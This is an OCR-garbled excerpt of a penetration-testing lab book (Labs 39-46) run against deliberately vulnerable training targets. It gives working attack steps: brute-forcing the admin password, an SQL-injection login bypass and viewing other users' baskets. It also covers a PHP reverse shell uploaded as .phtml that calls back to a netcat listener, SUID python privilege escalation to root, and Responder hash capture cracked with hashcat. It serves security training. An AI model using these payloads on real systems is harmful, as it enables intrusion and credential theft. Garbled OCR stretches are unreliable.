Burp  Project  Intruder Repeater ‘Window Help

Dashboard Target F Intruder Repeater Sequencer Decoder Comparer Extender Project of

1 x 1 = I x ':.\

Target Posithons Payloads Options ’9)

@ Payload Positions Dashboard Target Intruder Repeater
Configure the positions where payloads will be insertedintotk| 1 * i x 3 x = igne
helpfor full details. Target Paositions Payloads Options
Attacktype: | Sniper @ Attack Target ~,

1 POST /rest/user/login HTTP/L.1 Confiqure the details of tlﬂ:ag)!nrthr attack

2 Hast: 192.168.1.206:3000
3 User-Agent: Mozilla/S.0 (¥11; Linux x88 Hest: | 192.168.1.206
4 Accept: application/json, text/plain, # :

5 Accept-Language: en-US.en;g=0.5 Port: | 3000 Add§
6 Accept-Encoding: gzip., deflate

7 Content-Type: application/json Use HTTPS 9)_—_,-!,. Clear§
8 Content-Length: 47

9 Origin: http://192.168.1.206: 3000 Auto §

10 Connection: close Refresh

11 Referer: http://192.168.1, 206: 3000/ :

12 Cookie: language=en; cookieconsent_statuss=dismiss; welcomebanner_status=dismi .

15067 Deg 730n 2 05aBATEERMyy Jr OXY A SpwSa Y Wek ) 2P11 XLaNBK TwRbKE

14 {"email”: "user@exanple.con®, "password”: "12345"°}

[©

Add§
\\ Clear §
{"ema1l": "ad;inﬁj uice-sh.op®, "password®:"§§°} Auto §

Refresh

Then, navigate to the email parameter of the request we captured on this
page. Input the following for the email value:

admin@juice-sh.op

This is the administrator’s email. We will be attempting to guess the
password for this account. Then, for the password paramater, remove any
values and input two icons beside each other in this field so that it looks like


mailto:admin@juice-sh.op

the screenshot above.

Finally, navigate to the Payloads page. Click on Load beside Payloads, which
will allow us to load a .txt file full of passwords to guess against the admin’s
email. We will use the “default_pass_for_services_unhash.txt” which is
located in “/usr/share/wordlists/metasploit”. Select this file. This will import
the file.

Burp Project Intruder Repeater Window Help

Dashboard Target rony Intruder Repeater Sequencer Desns

1 = 2 x 3 x

Target Positions Payloads O ptions

@ Payioadsets "o

¥ou candefine one or more payload sets, The number of payload sets depends onthe attach
payload set, and each payload type can be customized in different ways.

Payloadset: |1 o Payload count: 2, 488

Payload type: -S-implt list v Request count: 2 4E8 e :

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste admin 9
Load ... ‘—,-T password
Remove 12.34
epicrouter
- |
Clear sysadm
access
| roat
|tech
| smcadmin
add ||

Task 5:
Navigate back to the Target tab and click Start Attack on the right.

A new window will popup and the attack will begin. It may take a while to
get the correct password. Click on the dropdown menu at the top of this new



screen and select filter 2xx. This will show us when one of the passwords
returns a 200 result, indicating it is the correct password.

4 Intruder attackl

Attack Sawe Columns

Results Target Pasitions Payloads Options

Filter: Showing all items

Reguest Payload Status Error  Timeout Length Comment
106 test 401 362
107 extendnet 362
99 adminl23 _ @ 1174
108 ironport = 352
109 lp = 401 352
110 1nmn 362
m PASS 362
12 o 362
113 Ascend 362
114 _Cisco 361
115 MAIL 362
11E P T LR

Request Response

B0 rew o Actions v

Srtmm A w f RERRR N s W EE e RE s kP R

5 Accept-Language: en-US,en;g=0.5
& Accept-Encoding: gzip, deflate
7 Content-Type: application/json
& Content-Length: Sl
9 Origin: http://192.168.1.206: 3000
10 Conmection: close
11 Referer: http:/r192.168, 1, 206: 3000/
12 Cookie: Language=en; cookieconsent _staty
14 {
“email®:“admin@juice-sh.op”,
"password®: *adminl23" -
}

dismiss; welcomebanner status=dismiss; continueCodd




Lab 39. Broken Access Control

Lab Objective:
Learn how to conduct a manual SQL injection attack.

Lab Purpose:

The intruder feature of Burp Suite is used to automate customized attacks
against web applications. It can be configured to work in several different
ways, and can be used to perform a huge range of tasks.

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use a Windows machine or Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab, we need another machine to run “OWASP Juice Shop”. You can
find a prebuilt version of Ubuntu Server 20.04 image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and
import it to your virtualization platform and run.



https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/
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In our system, the IP address of Ubuntu VM is 192.168.1.206. You have to
learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then, type these commands
in a terminal as regular user:

git clone https:/github.com/bkimminich/juice-shop.git
cd juice-shop

sudo apt install npm

npm install (This step takes long time. So be patient.)
npm start


https://github.com/bkimminich/juice-shop.git

shboxesgosboxes: % npm start

juice-shop@l2.6.1 start /home/osboxes/juice-shop
» node app

info: All dependencies in ./package.json are satisfied (OK)
info: Chatbot training data hutDefnultTrn1n1ngData json validated
info: Detected Node.js v ion v10.19.0 (0K)
info: d 05 linux (OK)
info: s CPU x64 (0K)
info: Configuration default validated (
i Required file index.html 1s present
Required file styles.css is pr ]
Required file main-es2018.3js is p
Required file tutorial-es201B.js is
Required file polyfills-es2018.js is pres
Required file runtime-es2018.js is nra'pnT
Required file vendor-es2018.js is pr
tequired file tutorial-esS.js i:
Required file main-es5.3js is present
Required file polyfills-esS5.js is
Required file runtime-es5.js is p
Required file wendor-es5.js is present
Port 3000 is available (0K)

Task 2:

Once Juice Shop is running, type the http://serverIP:3000 address into your
browser to access the shop. Once there, head to the login screen. For this lab,
we will be attempting to login as the admin.

Open Burp Suite and have “Intercept On”. Then, fill in some random value
for both “email” and “password”, and press login. Go to Burp Suite and
ensure you have captured the resulting request.

Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project Intruder Repeater Window Help
Repeater Sequencer Decoder Comparer Extender Project cptions User options
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£ Requestio hitp:192.168,1,206: 3000

Fanrsasd ﬂ; Diap Intefcepl is on

m s n Actions v

1 POST /rest fuser/login HTTP/L.1

2 Host: 132 168. 1. 206: 3000

3 User-Agent: Mozilla/S.0 (¥11; Linux x86_64; rv:78.0
4 Accept: application/json, text/plain, ="

5 Accept-Lamguage: en-US en; g=0.5

& Accept-Encoding: gzip, deflate

Content-Type: application/json

B Content-Length: 47

S Origin: http: /7192, 168. 1. 206: 3000 =] Lagin
10 Cornection: ¢lose
11 Referer: http: /7192 168, 1 206: 3000/ ] Remember me

12 Cockie: languagesaen, cookisconsent_statussdississ;

1404
“gmail *: "user@evanple. com™,
"oassdord®: "12345" ﬁ‘= a
} z

Task 3:
In the captured request, go the the email parameter and remove the value you
input previously. Instead, type the following:

‘or1=1--

Click the Forward button until the email and password fields appear on the
“Burp Suite” page.

Task 4:
Let’s break down what this line of code does.

The ¢ character will break out of the commas and close the brackets in the
SQL query. OR in an SQL statement will return TRUE if either side of it is
TRUE. Since 1=1 is always true, this whole statement will always return as
true. The -- character is used to comment out data in SQL, so any possible
restrictions on the login placed after this character will be commented out and
will not affect our login.



=CT * FROM userstable WHERE amail

"password” " 12345"

1 "_'Llllr.l'i. '._ull.l 11.;.1‘.-—'
1 Referer: http://192.168.1.206: 30"
Cookie: language=en;: cookier

T
"email":""' or l=1--"
“password®:"12345"°

¥

This will then let the server know that the email is valid and log us into the
user id 0, which is the “admin” account.

When you have the code above, input it into the email paramater, and
forward the request.

Task 5:
Turn Intercept off in Burp Suite and return to the Juice Shop application. You
will find that we are now logged in as the administrator.

@ owasP juice Shop Q@ Accont W vour Basket @ N

You successfully solved a challenge: Login Admin (Log in with the administrators user account.)




Q 9 Account ! Your Basl::e; [+

admin@juice-sh.op

Oraders & Paymn

Logout




L.ab 40. Broken Access Control

Lab Objective:
Learn how to take advantage of a broken access control vulnerability in a
website.

Lab Purpose:

Broken access control is when a user can view other users’ information,
perform unauthorized information disclosure, modify or destroy all data, or
perform a business function outside of the limits of the user. More

information can be found here: https://owasp.org/www-project-top-
ten/2017/A5 2017-Broken Access Control

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use a Windows machine or Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab we need another machine to run “OWASP Juice Shop”. You can
find a prebuilt version of Ubuntu Server 20.04 image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and



https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control
https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/

import it to your virtualization platform and run.
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In our system, the IP address of Ubuntu VM is 192.168.1.206. You have to
learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then type these commands
in a terminal as regular user:

git clone https://github.com/bkimminich/juice-shop.git
cd juice-shop

sudo apt install npm

npm install (This step takes long time. So be patient.)
npm start


https://github.com/bkimminich/juice-shop.git

osboxesgosboxes: % npm start

juice-shop@l2.6.1 start /home/osboxes/juice-shop
» node app

info: ALl dependencies in .fpa:kage.jsnn are satisftied ( )
info: Chatbot training data hutDefnultTrn1n1ngData json validated |
inf Jetected Node.js version wi1e.19.9 (0K)
ed 05 linux (OK)
d CPU x6& (0K)
Configuration default validated (
: Required file index.html is present
! Required file styles.css is pr 1
0: Required file main-es2018.js is p
: Required file tutorial-es201B.3js is
equired file polyfills-es2018.js is
: Required file runtime-es2018.3js is pre
: Required file vendor-es2018.3js is pr
fo: Required file tutorial-esS5.js is pre
fo: Required file main-es5.3js is present
equired file polyfills-es5.3s is presen
: Required file runtime-es5.js is presen
uired file vendor-es5.3s is present
ort 3008 is available (0OK)

Once Juice Shop is running, type the local IP address into your browser to
access the shop. For this lab, we will be attempting to view another user’s
basket without being logged in as that user.

Task 2:
To begin this lab, first login as the admin. If you are unsure how to do this,
look at the manual SQL injection lab and you will find instructions there.

Once logged in as the admin, open Burp Suite and ensure Intercept is turned
off.



Burp Suite Community Edition v2020.12.1 - Temparary Project
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Then, click on the basket in the Juice Shop. Be sure your basket has no item.
Empty your basket if there’s any item you can see in there.

.’ OWASP Juice Shop O, B Account 'l:'__:ri::ur I:ﬁ!ma'ln:etﬂI & en

All Products

Your Basket (admin@juice-sh.op)

Total Price: On

o will gaim O Bonus Paints froer

Add o Basket Add 1o Basket

Task 3:

Return to main page, then turn intercept mode on in Burp Suite. Then, click
on the basket in the Juice Shop again. Forward the requests until you find the
request beginning with the following:

GET /rest/basket/NaN



This request is loading the contents of our “admin” basket to display to us.

;5;’ Request to htp/i192.168.1.206:3000

Forward Drop “ Actlon Open Browser
Pretyy - \n  Adions v

GET /rest/basket/MaM HTTP/1.1
Host: 152.168.1.206: 3000

3 User-Agent i Moz~ =45.0 (X11; Linux === i e —=rko/20100101 Firefon/78.0
Accept: applicati =, text?’
En-

Accept-Language :
Accept-Bncoding: gzip, *

Authnr:gatmn: Bearer _L'.r! Ra‘f‘f ‘n Actiom

ey JOeXALOL JEVIQALCHF
MHolmSwIiwicGFzec3dvr
1Ix0TTuMTY 4L ) BuMTT

smaimenty GET /rest/basket NaNJ[F kcievios
comection: e HOST 1 192,168.1.206: 37"
coskie: L ss@r-Agent: Mozilla/

_L+ . appllcaf" OYSIGey JpZCTEMS 1 dX

LN

o @

0w m

dismiss: comtinu

| Swila] Deg 730Nz DEaBAT 8RR,
ey J0eKA101 JEVIO1LCIhbGel
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OwhNOaXZ1 Iy pOcnVLLC)) cavhd GV OXNO1 0L Iy MDI x 20 Ax0) EzLj Uy ArMDASHDALLCJ1c CRhd GVl

We can view another user’s basket by changing the NaN at the end of the
/basket line to 1:

GET /rest/basket/1

Once this is done, forward the rest of the requests. Then, turn Intercept off
and return to the Juice Shop site. You will find that our basket contents have
changed, as we are now viewing the contents of user 1’s basket.



Your Basket (admin@juice-sh.op)

Apple Juice | 1000ml)

Orange Juice
(1000mil)

Eggfruit Juice
(500mi)

T’ Checkout

will gain 1 Bonus Points from this

Let’s try to change to another user’s basket:

GET /rest/basket/2

Once this is done, forward the rest of the requests. Then, turn Intercept off
and return to the Juice Shop site. You will find that our basket contents have
changed, as we are now viewing the contents of user 2’s basket.



Your Basket (admin@juice-sh.op)

@ :-.{_-LI'_-I.'LH-.I.ll.} Juice = 2 4 90m

W Checkout

n 0 Bonus Points fi

You successfully solved a challenge: View Basket (View another user's shopping basket.)




Lab 41. Getting a Reverse Shell on a
Server through a File Upload

Lab Objective:
Learn how to get a reverse shell on a vulnerable server through a file upload.

Lab Purpose:

A shell account is a user account on a remote server. This user account will
usually give the user access to a shell via a command-line interface protocol
such as telnet or SSH. Getting a shell on a server is usually the first main goal
of an attacker when they are looking to hack into a server. From this position,
they can navigate around your server and escalate their privileges to take over
the server entirely.

Lab Tool:
Kali Linux

Lab Topology:
You can use a Windows machine or Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

We will be conducting this attack against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server with a free subscription.

First, open a terminal screen in your Kali machine. Make sure you have
OpenVPN installed:

sudo apt update
sudo upgrade openvpn



Login to tryhackme.com site with your own credentials. Create a free account
if needed.

Learning

Username or Emiail

Password j

\f}- ' ol @ robol

Education

'h*_-—= 0_;

IF you Fargot your password, g
Meed an account? Signup

After successful login, you will be redirected to the page displaying
OpenVPN client information.
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VPN Server Name EU-Regular-2 ],I' .

p Access via OpenVPN

VPN Server EU-Regular-2
Server Status w
©) e
Connected o server that A P
Internal Virtual IP Address 10.9.017 9

By following the steps shown in the figure above, go up to step 3 and
download the OpenVPN client config (clientname.ovpn) file to the your Kali
machine. Go to the location where you downloaded the file and run this
command in terminal:

sudo openvpn clientname.ovpn

Upon successful connection, follow steps 4 and 5 as shown in the above
figure. The IP address here is your address on the client side, and we will use
this information later. Write it down.

Open another browaser tab in Kali then navigate to:
https://tryhackme.com/room/rrootme

On this page, scroll down until you see the “Join Room” button. Click it. On
the next page, click the “Start Machine” button under Task 1 to start the Lab.


https://tryhackme.com/room/rrootme

By default, you have 1 hour to finish all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”
button at the top of the page.

Active Machine Information

(1)

Title \\ IP Address Expires
RootMe g 10.10.54_248 5Tm 47s

Terminate

The IP address shown in the picture above belongs to our targeted victim
machine. Write this down too, we will reference it often.

Task 2:

After starting the lab, let’s open a new browser tab in Kali and write the IP
address of the target machine here; which is 10.10.54.248 in this instance.
The goal of this lab is to get a shell on this machine.



root(@rootme:~#

Can you root me?

The first step to any hack like this is to discover which ports are open using
nmap. To do this, type the following into a terminal:

nmap -sV 10.10.54.248

://nmap.org

24,248

Not s
PORT

Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds

We can see that there are two ports open, 22 and 80. There is nothing
particularly interesting here so we will move on to the next step of
enumeration

Task 3:

The next step is to use the gobuster tool to enumerate the webserver for any
interesting/hidden directories and URLs. To do this, open a terminal as root
user and type the following:

gobuster dir -u 10.10.54.248 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

This may take a while, but will uncover any interesting or unusual URLs we
may be able to take advantage of.



3-small.txt

Gobuster v . €
by 0] Re ( ‘olonial) & Christian Mehlmauer (@firefart)

[+] url: http://10.10.

[+] Me : GET

[+] 1

[+] wordlist: fusr/share/dirbuste
txt

gobuster/3.1.0

wster in directory enumeration mode

After running gobuster for a while, we discover a number of URLs.
Interesting ones are “/panel” and “/uploads”. If we visit “http://10.10.54.248/panel”
URL, we will find that there is a file upload form. This will be our way into
the server!

Task 4:
Let’s try to send an empty “test.php” file to the upload page we just
discovered on the target server;

As can be seen, “test.php” file was not accepted.



Select a file to upload:

Select a file to upload:

r.. ¥ I erinranm
Browse .- test.php @

©)
PHP @pym.m

This time, let’s send a file named “test.txt”; we were able to send this file!

® Select a file to upload:
Index of /uploads ©

Last modified Size Description

@ o i ;’. DMrectory -
&) test txt 2021-03-2922:58 0

0 arquivo foi upado ¢z
sucessol V Apache/2 4.29 (Ubuntu) Server al 1010 54 248 Port B0

Task 5:

The next step is to get a reverse shell by uploading a malicious file through
this file upload form. A file written for this purpose already exists inside the
Kali machine at this location:

/usr/share/webshells/php/php-reverse-shell.php

Place a copy into our home directory:



cp -v /usr/share/webshells/php/php-reverse-shell.php ~/phpshell.php

set_time_limit (@);

$VERSION = "1.0";

$ip = "190.9.0.17";

$port = 1234; 773 CHANGE THIS
$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = ‘uname -a; w; id; /bin/sh
$daemon = @;

$debug = 0;

We open the file with an editor to update some areas in there. Here, we will
write the IP address we saw earlier on the OpenVPN connection page (see
Task 1), so that the phpshell.php knows which machine to call back to.
There’s no need to change port number.

We know that we cannot upload files with “.php” extensions to the target
server, but what about files with “.phtml” extension? “.phtml” essentially
functions the same as “.php”. We will make the extension of our file “.phtml”
and try to upload it to the target server:

mv -v phpshell.php phpshell.phtml

Task 6:
Try to upload “phpshell.phtml” file to target and check if we succeed.



Select a file to upload: |iutaiai ah 4)

?.-:f:‘:;‘- . M Last modifled Siee Description
' Rhpshellphtml  2021-03-30 0555 55K
| TE 2021-03-30 02:56 0

Upload

EIo o222l 138 Port 80

0 arquivo foi upado com
sucesso!

Done! We uploaded our evil PHP reverse shell code to the target server.
Now, open a new terminal in Kali machine and type the following:

nc -Invp 1234

This will tell netcat to listen for a connection on this port. Let’s go to the
“/uploads” page and click the “phpshell.phtml” file to make it run. When the
code runs, it will establish a TCP connection to port 1234 of our Kali
machine. Remember, this port is already being listened to by netcat.

Index of /uploads

Name Lasl modilied Size Descriplion

,’ Parent Directory
iﬂ phpshpgl. phiml

— Click to run

FT-03-30 02:56 5.4K PHP code
2021-03-30 02:56 0O

Apache/2.4.29 (Ubuntu) Server at 10.10.221.138 Port 80




Task 7:

Return to the terminal where netcat is running. You will see that you now
have a shell on the server. However, it is only a temporary one and the shell
will collapse if we do not make it stable. To do this, once you have a shell,
type the following:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

® fhome/kali/Downloads

2=
14

JCPU PCPU WHAT
ita)

This will create a stable bash shell which we can use to navigate around the
server. Now, we have started a reverse terminal from the target machine
towards ourselves.

Task 8

One of the tryHackMe challenges is to find the “user.txt” file on the target
server and read the data in it. Run the following commands on the terminal
screen in the target server:

find / -type f -name user.txt 2>/dev/null
cat /var/www/user.txt

We were able to read this file because the user who ran PHP on the target
server is also the owner of the user.txt file.



Lab 42. Manual Privilege Escalation
Using Python

Lab Objective:
Learn how to manually escalate privileges from a shell using python.

Lab Purpose:

Privilege escalation occurs when a user exploits a bug, misconfiguration, or
design flaw in an application or operating system to gain access to resources
that should normally be unavailable to that user.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Note: This lab is a continuation of lab 41. You will need to complete that lab
before you are able to complete this!

In lab 41, we managed to get a stable shell on the RootMe server. In this lab,
our goal is to escalate our privileges from a normal user to an administrator.

Login into tryhackme.com as usual, and navigate to challenge page:

https://tryhackme.com/room/rrootme

Task 2:


https://tryhackme.com/room/rrootme

We discovered from Lab 41 that we have / uploads and / panel URLSs on the
target server and we can use them to upload and run our evil “PHP-
REVERSE-SHELL” code.

Continuing where we left off, when the PHP code run was sent; it provided
us a shell capability by establishing a reverse TCP connection to our attacker
Kali machine (1). Now, we have a remote shell which owner is not root. We
upgraded its capability by executing a python code (2).

2 Shome/kali/Downloads @

Listening on [any] 1234
connect to [10.9. 17] rom (UNKNOWN) [10.10.54.248] 59050

Linux rootme 4.15.0-11 intu SMF hu Jul 9 23:41:39 UTC 2020 xB86_6

g0, 0.00, 0.00
JCPU PCPU WHAT

/bin/sh: @: n

$ pythor

£ ".!';'nl"_ pty:pt
bash-&.4% e e

Task 3:

The next step is to find all files with a permission of SUID. This permission
allows users to run these files with the same level of privilege as the owner of
these files. We are typically looking for scripting/coding languages here; if
we can run a coding language such as python as root, there is a very high
chance of us being able to escalate our privileges this way.

We can search for all files with the SUID permission by typing the following
into our shell:

find / -perm -u=s -type f 2>/dev/null

This command uses the find tool to find all files with the SUID permission.
Hit enter and you will see a list of these files.

Looking through these files for coding languages, we can see python is there.



fusr/bin/chsh
Jusr/bin/python

Jusr/bin/at
Jusr/bin/chfn

funerfRinfanacewd

Task 4:

Great! After some searching around, I found the following site which
contains a list of python commands we can use to escalate our privileges in
different situations. In this case, we can use the following command:

python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

This command creates a local SUID copy of the binary and runs it to
maintain elevated privileges.

Let’s type this python command into our remote shell and hit enter. It may
take a few minutes to run as python does its thing. When it is finished, we
will no longer be in a bash shell and we will have “root” privileges! We can
check if we have root privileges on the server by typing “id” into your shell.

# id
idl V/

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=08(root),33(www-d
ata)

Task 5

One of the tryHackMe challenges is to find the “root.txt” file on the target
server and read the data in it. Run the following commands on the terminal
screen in the target server:

find / -type f -name root.txt 2>/dev/null
cat /root/root.txt

We were able to read this file because we are root and can read everything in
the target server.



There are some other easy tasks that you can solve within tryHackMe.
However, as these are out of scope, they will not be described in this lab.
Once you have completed all the steps, tryHackMe will consider this room to
be completed.

& Reconnaissance

Congratulations

You've completed the room!

& Privilege escalation




Lab 43. Web Application
Vulnerability Scanning with Nikto

Lab Objective:
Learn how to scan web applications for vulnerabilities with nikto.

Lab Purpose:

Nikto is an open-source web server scanner. It performs comprehensive tests
against web servers for multiple vulnerabilities including over 6700
potentially dangerous files/programs, checks for outdated versions of over
1250 servers, and version specific problems on over 270 servers.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

We will be conducting this attack against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server using openvpn client.

How to connect to this environment with OpenVPN was discussed in detail
in lab 41.

After a successful connection, write down the local VPN IP adress. We will
use this information later. Open another browser tab in Kali, then navigate to:



https://tryhackme.com/room/rpwebscanning

On this page, scroll down until you see the “Join Room” button. Click it. On
the next page, click the “Start Machine” button under Task 1 section to start
the Lab.

By default, you have 1 hour to finish the all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”


https://tryhackme.com/room/rpwebscanning

button at the top of the page.

The IP address in the frame that appears after the target environment is
started will be our target IP address. We will use this information later.

Task 2:
Although the nikto tool that we will use in this lab is installed with Kali, we
will extract it from the git repo and use it. To do this, let’s open a terminal



screen on our Kali machine and write the following:
git clone https://github.com/sullo/nikto

We will begin by viewing the help screen of nikto tool. This tool has
numerous info pages available to it. To view the short version, open a
terminal screen in Kali then type the following:

cd ~/nikto/program
/nikto.pl -h



To view the more comprehensive version, type the following:
./nikto.pl -H

Task 3:
We will check the database for any errors using the following command:

./mnikto.pl -dbcheck

Once this is done, we are ready to begin.



Task 4:
We will begin this lab by performing a basic scan on this webserver. This can

be done by typing the following:
/nikto.pl -h 10.10.16.168

The -h tag is used in Nikto to specify the target, don’t get confused between
this and the help screen command. We used our assigned target IP address as
parameter. This scan operation may takes a few minutes. Please be patient.



The results of the scan can be seen below.

We can see some useful information here such as the fact that the webserver
version is outdated, some interesting directories available to use (such as the
/config directory), and that the XSS-Protection header is not defined.

The above image shows the files in the “/config” directory. Here, a file with
extension .bak can contain valuable information!



Task 5:
We can run a more comprehensive scan using plugins. We can view all
available plugins which Nikto supports, by typing the following:

./nikto.pl -list-plugins

We will use the test plugin, which will run a comprehensive scan against the
webserver for all the basic and most common vulnerabilities. This can be



done using the following command:

./nikto.pl -Plugins test -h 10.10.16.168

We can also specify for Nikto to target a specific port when scanning, by
adding the -p tag to a command:

/nikto.pl -Plugins test -h 10.10.16.168 -p 80



Task 6:

We can use Nikto to run credentialed scans on the webserver too. We simply
have to specify the username and password for Nikto to use to sign in. Nikto
will then perform a scan from the perspective of the signed in user:

/mikto.pl -h 10.10.16.168 -id admin:Password123

Task 7:

Nikto scans can take a while to run. We can specify that we want a scan to
run for a certain length of time by providing Nikto with a time at which the
scan will finish. In the screenshot below, the scan will run until 1:30:

./nikto.pl -h 10.10.16.168 -until 13:30



Lab 44. Web Server Vulnerability
Scanning with ZAP

Lab Objective:
Learn how to scan using OWASP Zed Attack Proxy (ZAP).

Lab Purpose:

ZAP is a dynamic application security testing (DAST) tool for finding
vulnerabilities in web applications. It is free and open source. It’s also one of
the most popular web application scanners.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

We will be conducting this attack against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server using openvpn client.

How to connect to this environment with OpenVPN was discussed in detail
in lab 41.

After a successful connection, write down the local VPN IP adress. We will
use this information later. Open another browser tab in Kali, then navigate to:

https://tryhackme.com/room/rpwebscanning



https://tryhackme.com/room/rpwebscanning

On this page, scroll down until you see the “Join Room” button. Click it. On
the next page, click the “Start Machine” button under Task 1 section to start
the Lab.

By default, you have 1 hour to finish the all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”
button at the top of the page.



The IP address in the frame that appears after the target environment is
started will be our target IP address. We will use this information later.

Task 2
Z AP can be launched by going to your terminal and typing the following:

owasp-zap



You will see many lines of code appearing in your terminal and a window
will pop up with the ZAP tool. You may see an initial window with numerous
updates for various tools used by ZAP. Simply hit the “Update All” button on
the bottom right of the screen to update all the tools, then click Close. You
will then be presented with the ZAP tool.

Task 3:
With the server launched, we will perform an initial scan of it. Press on



Quick Scan in the window in the top right of the tool. Input the following to
begin the attack:

http://10.10.16.168/

Once this is typed in, click the Attack button at the bottom.


http://10.10.16.168/

When the attack button is pressed, the attack will begin. You will see a
number of POST and GET requests being transmissed from ZAP to the
server specified. There will also be a status bar, showing you how far through
the scan the tool is.



Task 4:
When the attack is finished, ZAP will display an Alerts tab. This tab will
display all vulnerabilities and potential security issues found by the scan.

You will see that the most severe vulnerabilities will be located at the top of
the list. In this case, the most severe vulnerability is Medium. This can be
seen by clicking on each vulnerability found.



Each vulnerability category listed can be expanded, which will display each
request and response which make up the vulnerability.

For example, in this vulnerability, we can see that the robots.txt file is visible
to the user. You can view this file by typing the following into your browser:

http://10.10.16.168/robots.txt



http://10.10.16.168/robots.txt

Z AP does a good job of detailing each vulnerability. If you click on a specific
vulnerability, such as robots.txt, we will be presented with a range of
information such as the severity of the vulnerability as well as a description,
solution, and references for more information.

We can also see the raw request and response data for each vulnerability at
the top right of the screen, after you have clicked on a specific vulnerability.



Task 5:
If we navigate to the Spider tab at the top of this bottom section, we can see

the various pages and directories which were scanned. We can see all in-
scope and “Out of Scope” pages here as well.

Task 6:
If we navigate to the Active Scan page, we can see all of the raw GET and

POST requests made by ZAP to the server during the scan.



Task 7:
The History tab will display all scans performed. In our case, there will only
be one scan here.






Lab 45. Capturing Password Hashes
with Responder

Lab Objective:
Learn how to capture NTLM hashes on your network with Responder.

Lab Purpose:

Responder is a tool used to quickly gather credentials from target systems on
a network. It is a LLMNR, NBTNS and MDNS poisoner which is easy to use
and highly effective against vulnerable networks.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be using Kali Linux for this lab as Responder comes pre-installed on
Kali.

The first thing we will do is look at the help page for this tool. We can do this
by opening a terminal and typing the following:

responder -h
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Task 2:
In this lab, we will be targeting a machine on our network with a machine
which has an open browser with the goal of capturing NTLM hashes.

Before we launch this attack, we will use the analyser mode of the
“responder” tool to discover potential targets on our network. This mode will

analyse all requests on a network but will not respond to them.

We can launch this mode using the following command:



responder -I ethO -A

Any event on the network will be shown on the screen after this command is
executed.

100 hostname: ATOM wi:

n KEHRIBAR: ATOM

This is a good method for passively discovering possible target systems.

Task 3:
We can perform a poisoning with responder tool by simply typing the
following:

responder -I ethO

This will launch Responder and the tool will poison responses and capture
any credentials it can. If a user attempts to connect to a non-existing server
share, Responder will respond and attempt to send them a login prompt.

ﬂ'.l-._“plﬁ[n.;h.r: ﬁ nomn in'-'!-ti”q SCErver

If the user enters their password, Responder will catch the hash of password



then display it on the screen.
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In the screenshot above, we have captured the hash for the user “victim02”.
We can now take this hash to hashcat and attempt to crack it.

Task 4:
Copy the hash captured in the previous step and save it to a text file.



P1ERRS70040004E082DDRS00052004 3002400300032 R :
BREFE2610061006CEB0I003500570059005E002000 fl ":ﬂP‘F Selection cn-|+5hm+c
p5DERS20033002ECRECHB6FIR6I0061006C00850814

Paste Clipboard Ctri+5Shift+V
Paste Selection ShiftHins
Loom in Ctri++
Zoom out Ctri+-

Zoom reset Ctri+0

Clear Active Terminal Ctri+Shift+X
Split Terminal Horizontally Ctri+Shift+D
Split Terminal Vertically Ctri+Shift+R

Then, open hashcat and type the following:
hashcat -m 5600 -a 0 ntlm-hash.txt /usr/share/wordlists/nmap.lst -O

This will tell hashcat that we are attempting to dictionary crack an NTLMv2
hash. Considering that this password is a simple one, hashcat manages to
crack it in a few minutes using a word list (nmap.lst) in this case.
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We can see from the above screenshot that hashcat uncovered the password
for the user “hello”, which is “qwe123”.



Lab 46. Monitoring Wi-Fi Signals
with Kismet

Lab Objective:
Learn how to monitor Wi-Fi signals with Kismet.

Lab Purpose:

Kismet is a Wi-Fi network analysing tool. It can function as a wireless
network detector, sniffer, and Intrusion Detection System (IDS). It can be
launched by simply opening a terminal and typing “kismet”.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The Kismet tool is already included with Kali Linux. All we need is to update
it:

sudo su -
apt upgrade kismet

Task 2:

We will need a wireless card which is capable of being put into “monitor mode™
to complete this lab. In this lab, we will use an Alfa network card for this
purpose. There are numerous Wi-Fi adapters on market which support Wi-Fi
hacking. In this page, you can find some of them:



https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-

hacking-in-2019/

Wireless Adapters for Hacking

